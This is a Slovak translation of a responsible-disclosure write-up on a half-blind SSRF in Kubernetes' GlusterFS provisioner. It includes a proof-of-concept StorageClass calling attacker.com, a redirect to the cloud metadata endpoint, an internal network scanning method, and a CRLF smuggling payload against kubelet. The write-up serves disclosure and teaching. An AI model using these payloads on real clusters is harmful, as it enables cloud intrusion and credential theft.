Pozn. prekl.: autori tohto článku podrobne hovoria o tom, ako sa im podarilo objaviť zraniteľnosť v Kubernetes. Hoci pôvodne nevyzerala veľmi nebezpečne, v kombinácii s inými faktormi sa jej kritickosť u niektorých poskytovateľov cloudu prejavila ako maximálna. Za vykonanú prácu odborníkov bolo štedro odmenených niekoľko organizácií.

Kto sme
Sme dvaja francúzski bezpečnostní výskumníci, ktorí spoločne objavili zraniteľnosť v Kubernetes. Voláme sa Brice Augras a Christophe Hauquiert, ale na mnohých platformách Bug Bounty sme známi ako Reeverzax a Hach.
- — ;
- — architekt Kubernetes v Noki.
Čo sa stalo?
Tento článok je naším spôsobom, ako povedať, ako sa bežný výskumný projekt nečakane zmenil na jedno z najzaujímavejších dobrodružstiev v živote lovcov na bugy (aspoň zatiaľ).
Ako už pravdepodobne viete, lovci na bugy majú niekoľko pozoruhodných vlastností:
- žijú na pizzách a pive;
- pracujú, keď ostatní spia.
Nie sme výnimkou z týchto pravidiel: zvyčajne sa stretávame cez víkendy a trávime bezsenné hackerské noci. Ale jedna z takýchto nocí sa skončila veľmi neobvykle.
Pôvodne sme sa mali stretnúť, aby sme prediskutovali účasť na na druhý deň. Počas rozhovoru o bezpečnosti Kubernetes v spravovanej servisnej oblasti sme si spomenuli na starý nápad SSRF () a rozhodli sme sa vyskúšať ho ako útokový scénar.
O 11 večer sme sa pustili do výskumu a išli sme spať skoro ráno, veľmi spokojní s výsledkami. Vďaka týmto výskumom sme narazili na program MSRC Bug Bounty a vymysleli exploit na eskaláciu privilégií.
Ubehlo niekoľko týždňov/mois a náš nečakaný výsledok umožnil získať jednu z najvyšších odmien v histórii Azure Cloud Bug Bounty — okrem tej, ktorú sme získali od Kubernetes!
Na základe nášho výskumného projektu zverejnil výbor Kubernetes Product Security Committee .
Teraz by sme chceli čo najviac rozšíriť informácie o nájdenej zraniteľnosti. Dúfame, že oceníte nález a zdieľate technické podrobnosti s ďalšími členmi infosec komunity!
Takže, tu je náš príbeh…
Kontext
Aby sme čo najpresnejšie preniesli zmysel toho, čo sa stalo, poďme sa najprv pozrieť na to, ako Kubernetes funguje v prostredí spravovanej služby v oblaku.
Keď vytvoríte inštanciu klastra Kubernetes v takomto prostredí, obvykle sa o prácu riadiacej vrstvy stará poskytovateľ cloudových služieb:

Riadiaca vrstva sa nachádza na okraji cloudového poskytovateľa, zatiaľ čo uzly Kubernetes sú na okraji klienta.
Na dynamické priraďovanie objemov sa používa mechanizmus ich dynamického poskytovania z externého úložného backendu a priraďovania k PVC (persistent volume claim, teda požiadavke na objem).
Takže po vytvorení PVC a jeho priradení k StorageClass v klastri K8s preberá ďalšie akcie týkajúce sa poskytovania objemu kube/cloud controller manager (jeho presný názov sa líši podľa verzie). (Pozn. prekl.: O CCM na príklade jeho implementácie pre jedného z poskytovateľov cloudových služieb sme už písali. .)
Existuje niekoľko druhov provisionerov podporovaných Kubernetes: väčšina z nich je zahrnutá v a ostatné sú spravované ďalšími provisionermi, ktoré sú umiestnené v pádoch v klastri.
Vo svojom výskume sme sa zamerali na vnútorný mechanizmus poskytovania objemov, ktorý je znázornený nižšie:

Dynamické poskytovanie objemov s použitím vstavaného provisionera Kubernetes.
Stručne povedané, keď je Kubernetes nasadený v spravovanom prostredí, za činnosť controller managera zodpovedá poskytovateľ cloudových služieb, ale požiadavka na vytvorenie objemu (číslo 3 na vyššie uvedenom diagrame) opúšťa hranice vnútornej siete cloudového poskytovateľa. A tu sa situácia stáva skutočne zaujímavou!
Scenár útoku.
V tejto časti vám ukážeme, ako sme využili vyššie spomenutý pracovný postup a získali prístup k vnútorným zdrojom poskytovateľa cloudových služieb. Okrem toho ukážeme, ako je možné vykonávať určité akcie — napríklad získať vnútorné prihlasovacie údaje alebo vykonať eskaláciu privilégií.
Jedna jednoduchá manipulácia (v tomto prípade ide o Service Side Request Forgery) pomohla prekonať hranice klientského prostredia v klastroch rôznych poskytovateľov služieb spravovaného K8s.
Vo svojich výskumoch sme sa zamerali na provisioner GlusterFS. Aj keď je ďalší postup popísaný v takomto kontexte, táto zraniteľnosť sa týka aj Quobyte, StorageOS a ScaleIO.

Zneužitie mechanizmu dynamického poskytovania objemov
Počas analýzy triedy úložísk GlusterFS v klientoch na Golang sme , pri prvom HTTP dopyte (3), poslanom počas vytvárania objemu, na konci používateľského URL v parametri resturl pridané /volumes.
Tento nadbytočný cestu sme sa rozhodli eliminovať pridaním # do parametra resturl. Toto je prvá YAML konfigurácia, ktorú sme použili na testovanie „poloslepého“ SSRF zraniteľnosti (viac o semi-blind alebo half-blind SSRF sa dá prečítať napríklad, — pozn. prekl.):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfPotom pri diaľkovom ovládaní klasteru Kubernetes sme použili binárku kubectl. Zvyčajne cloudoví poskytovatelia (Azure, Google, AWS a pod.) umožňujú získať poverenia na ich použitie v tomto nástroji.
Vďaka tomu sa podarilo použiť náš „špeciálny“ súbor. Kube-controller-manager vykonal výsledný HTTP dopyt:
kubectl create -f sc-poc.yaml 
Odpoveď z pohľadu útočníka
Netrvalo dlho a tiež sme dokázali získať HTTP odpoveď od cieľového servera — cez príkazy describe pvc alebo get events v kubectl. A naozaj: tento Kubernetes ovládač je predvolene príliš slovný vo svojich varovaniach/chybových hláseniach...
Tu je príklad s odkazom na https://www.google.fr, nastaveným ako parameter resturl:
kubectl describe pvc poc-ssrf
# alebo môžete použiť kubectl get events 
V rámci takého prístupu sme boli obmedzení na dopyty typu HTTP POST a nedokázali sme získať obsah tela odpovede, ak sa vrátený kód bol 201. Preto sme sa rozhodli vykonať dodatočné výskumy a rozšírili tento scenár hackovania novými prístupmi.
Evolúcia našich výskumov
- Pokročilý scenár č. 1: využitie 302 presmerovania z externého servera na zmenu HTTP metódy s cieľom získať flexibilnejší spôsob zhromažďovania interných údajov.
- Pokročilý scenár č. 2: automatizácia skenovania LAN a zisťovania interných zdrojov.
- Pokročilý scenár č. 3: využitie HTTP CRLF + pašovanie („contraband“ požiadaviek) na vytváranie prispôsobených HTTP požiadaviek a získavanie údajov extrahovaných z logov kube-controllera.
Technické špecifikácie
- V štúdiách sa používal Azure Kubernetes Service (AKS) s Kubernetes verziou 1.12 v regióne Severná Európa.
- Opísané vyššie scenáre sa vykonávali na posledných vydaniach Kubernetes, s výnimkou tretieho scenára, pretože potreboval Kubernetes zostavený s Golang verziou ≤ 1.12.
- Externý server útočníka —
https://attacker.com.
Pokročilý scenár č. 1: presmerovanie HTTP požiadavky POST na GET a získavanie citlivých údajov
Pôvodný spôsob bol vylepšený konfiguráciou servera útočníka na vrátenie 302 HTTP Retcode, aby sa konvertovala požiadavka POST na požiadavku GET (krok 4 na schéme):

Prvá požiadavka (3), vychádzajúca od klienta GlusterFS (Controller Manager), má typ POST. Po vykonaní nasledujúcich krokov sme ho mohli zmeniť na GET:
- Ako parameter
resturlv StorageClass sa uvádzahttp://attacker.com/redirect.php. - Endpoint
https://attacker.com/redirect.phpodpovedá so stavovým kódom 302 HTTP s nasledujúcim Location Headerom:http://169.254.169.254. Môže to byť akýkoľvek iný interný zdroj — v tomto prípade sa redirect-odkaz používa výlučne ako príklad. - Predvolene knižnica net/http Golang presmerováva požiadavku a konvertuje POST na GET so 302. stavovým kódom, pričom na cieľový zdroj prichádza HTTP požiadavka GET.
Aby ste si prečítali telo HTTP odpovede, musíte vykonať describe objekt PVC:
kubectl describe pvc xxxTu je príklad HTTP odpovede vo formáte JSON, ktorú sa nám podarilo získať:

Možnosti zistenej zraniteľnosti v tom čase boli obmedzené kvôli nasledujúcim faktorom:
- Nemožnosť vložiť HTTP hlavičky do odchádzajúcej požiadavky.
- Nemožnosť vykonávať POST požiadavku s parametrami v tele (takto je pohodlné žiadať hodnotu kľúča od inštancie etcd, ktorá beží na 2379 porte, ak sa používa nezabezpečený HTTP).
- Nemožnosť získať obsah tela odpovede, keď bol stavový kód 200 a odpoveď nemala JSON Content-Type.
Pokročilý scenár č. 2: skenovanie lokálnej siete
Táto metóda half-blind SSRF sa potom používala na skenovanie vnútornej siete poskytovateľa cloudových služieb a prieskum rôznych počúvajúcich služieb (inštancia Metadata, Kubelet, etcd atď.) na základe odpovedí kube controllera.

Najprv boli identifikované štandardné počúvacie porty komponentov Kubernetes (8443, 10250, 10251 atď.) a potom bolo potrebné automatizovať proces skenovania.
Keďže sme zistili, že tento spôsob skenovania zdrojov je veľmi špecifický a nekompatibilný s klasickými skenerami a nástrojmi SSRF, rozhodli sme sa vytvoriť vlastné worker’y v bash skripte, ktoré automatizujú celý proces.
Napríklad, aby sme rýchlejšie preeskalovali rozsah 172.16.0.0/12 vnútornej siete, spustili sme súčasne 15 worker’ov. Uvedený IP rozsah bol zvolený iba ako príklad a môže byť zmenený na IP rozsah konkrétneho poskytovateľa služieb.
Na skenovanie jedného IP adresy a jedného portu je potrebné vykonať nasledujúce kroky:
- odstrániť overený StorageClass z predchádzajúceho času;
- odstrániť predchádzajúci overený Persistent Volume Claim;
- zmeniť hodnoty IP a Port v
sc.yaml; - vytvoriť StorageClass s novým IP a portom;
- vytvoriť nový PVC;
- získať výsledky skenovania pomocou príkazu describe pre PVC.
Pokročilý scenár č. 3: injekcia CRLF + smuggling HTTP v 'starých' verziách klastru Kubernetes
Ak poskytovateľ navyše ponúkal klientom staré verzie klastru K8s a otvoril im prístup k logom kube-controller-manager’a, efekt bol ešte výraznejší.
Útočníkovi je naozaj oveľa pohodlnejšie meniť podľa vlastného uváženia HTTP požiadavky určené na získanie úplnej HTTP odpovede.

Na realizáciu tohto posledného scenára museli byť splnené nasledujúce podmienky:
- Používateľ musí mať prístup k logom kube-controller-manager (ako napríklad v Azure LogInsights).
- Klast Kubernetes musí používať verziu Golang nižšiu ako 1.12.
Nasadili sme lokálne prostredie, ktoré simuluje výmenu dát medzi Go klientom GlusterFS a falošným cieľovým serverom (pre zatiaľ sa zdržujeme zverejnenia PoC).
Bola objavená , ktorá sa týka verzií Golang nižších ako 1.12 a umožňovala hackerom vykonávať útoky typu HTTP smuggling/CRLF.
Spojením vyššie uvedeného half-blind SSRF spolu s touto, sme mohli posielať požiadavky podľa vlastného výberu, vrátane výmeny hlavičiek, metódy HTTP, parametrov a dát, ktoré kube-controller-manager potom spracoval.
Tu je príklad fungujúcej 'návnady' v parametri resturl StorageClass’a, ktorá realizuje podobný scenár útoku:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrnV dôsledku toho vzniká chyba unsolicited response, správa, ktorá sa zapisuje do logov kontroléra. Vďaka predvolenej „podrobnosti“ sa tam uchováva aj obsah odpovedajúcej HTTP správy.
![]()
Toto bola naša najúspešnejšia „návnada“ v rámci proof of concept.
Použitím takého prístupu sme dokázali vykonať niektoré z nasledujúcich útokov v klastri rôznych poskytovateľov spravovaných k8s: eskalácia oprávnení získaním poverení na metadata inštanciách, DoS majstra prostredníctvom (nešifrovaných) HTTP požiadaviek na majstrovských inštanciách etcd a pod.
Dôsledky
V oficiálnom vyhlásení Kubernetes sa k námi objavenej zraniteľnosti SSRF pridelil hodnotenie CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Ak sa zameriame len na zraniteľnosť súvisiacu s perifériou Kubernetes, integračný vektor (integrity vector) sa posudzuje ako None.
Avšak hodnotenie možných následkov v kontexte spravovaného služobného prostredia (a to bola najzaujímavejšia časť našej štúdie!) nás povzbudilo na prekvalifikovanie zraniteľnosti na hodnotenie Critical CVSS 10/10 pre mnohých distributorov.
Nižšie nájdete ďalšie informácie, ktoré pomôžu pochopiť, akými faktormi sme sa riadili pri hodnotení možných následkov v cloudových prostrediach:
Integrita
- Diaľkové vykonávanie príkazov pomocou získaných interných poverení.
- Reprodukcia vyššie opísaného scenára metódou IDOR (Insecure Direct Object Reference, t.j. nezabezpečenými priamymi odkazmi na objekty) s inými zdrojmi zistenými v lokálnej sieti.
Ochrana súkromia
- Útok typu vďaka krádeži cloudových poverení (napríklad metadata API).
- Zhromažďovanie informácií pomocou skenovania lokálnej siete (identifikácia verzie SSH, verzie HTTP servera, …).
- Zhromažďovanie informácií o inštanciách a infraštruktúre dotazovaním interných API, ako sú metadata API (
http://169.254.169.254, …). - Krádež údajov zákazníkov pomocou cloudových poverení.
Dostupnosť
Všetky scenáre aplikácie exploitov spojené s integračnými vektormi integrity (integrita), môžu byť použité na deštruktívne akcie a viesť k tomu, že majstrovské inštancie z klientskej periférie (alebo akejkoľvek inej) budú nedostupné.
Keďže sme sa nachádzali v spravovanej K8s prostredí a posudzovali sme vplyv na integritu, je možné si predstaviť množstvo scénarov, ktoré by mohli ovplyvniť dostupnosť. Ako doplnkové príklady môžeme uviesť poškodenie databázy etcd alebo vykonanie kritického API volania k Kubernetes.
Chronológia
- 6. decembra 2019: odoslanie hlásenia o zistenej zraniteľnosti do MSRC Bug Bounty.
- 3. januára 2020: tretia strana informovala vývojárov Kubernetes, že pracujeme na probléme v oblasti bezpečnosti. Požiadali ich, aby považovali SSRF za vnútornú zraniteľnosť (in-core). Potom sme predložili celkovú správu s technickými podrobnosťami o zdroji problému.
- 15. januára 2020: poskytli sme vývojárom Kubernetes technické a celkové správy na ich požiadanie (cez platformu HackerOne).
- 15. januára 2020: vývojári Kubernetes nás informovali, že half-blind SSRF + CRLF injection pre predchádzajúce verzie sa považuje za vnútornú zraniteľnosť. Ihneď sme prestali analyzovať okraje iných poskytovateľov služieb: primárnou príčinou sa teraz zaoberal tím K8s.
- 15. januára 2020: cez HackerOne sme dostali odmenu od MSRC.
- 16. januára 2020: Kubernetes PSC (Product Security Committee) uznal zraniteľnosť a požiadal nás, aby sme ju udržali v tajnosti do polovice marca kvôli veľkému počtu potenciálnych obetí.
- 11. februára 2020: získali sme odmenu od Google VRP.
- 4. marca 2020: cez HackerOne sme dostali odmenu od Kubernetes.
- 15. marca 2020: pôvodne naplánované verejné odhalenie bolo odložené kvôli situácii s COVID-19.
- 1. júna 2020: spoločné vyhlásenie Kubernetes + Microsoft o zraniteľnosti.
TL;DR
- Pijeme pivo a jeme pizzu 🙂
- Objavili sme vnútornú zraniteľnosť v Kubernetes, hoci sme to vôbec nemali v pláne.
- Vykonali sme dodatočnú analýzu v clustre rôznych poskytovateľov cloudových služieb a dokázali sme zvýšiť škody spôsobené zraniteľnosťou, aby sme získali ďalšie skvelé bonusy.
- V tomto článku nájdete mnoho technických podrobností. Radi ich s vami preberieme (Twitter: & ).
- Ukázalo sa, že všetky formality a zostavovanie správ zaberajú oveľa viac času, než sa očakávalo.
Odkazy
- ;
- ;
- ;
- .
P.S. od prekladateľa
Prečítajte si tiež na našom blogu:
- «»;
- «»;
- «».
Zdroj: habr.com
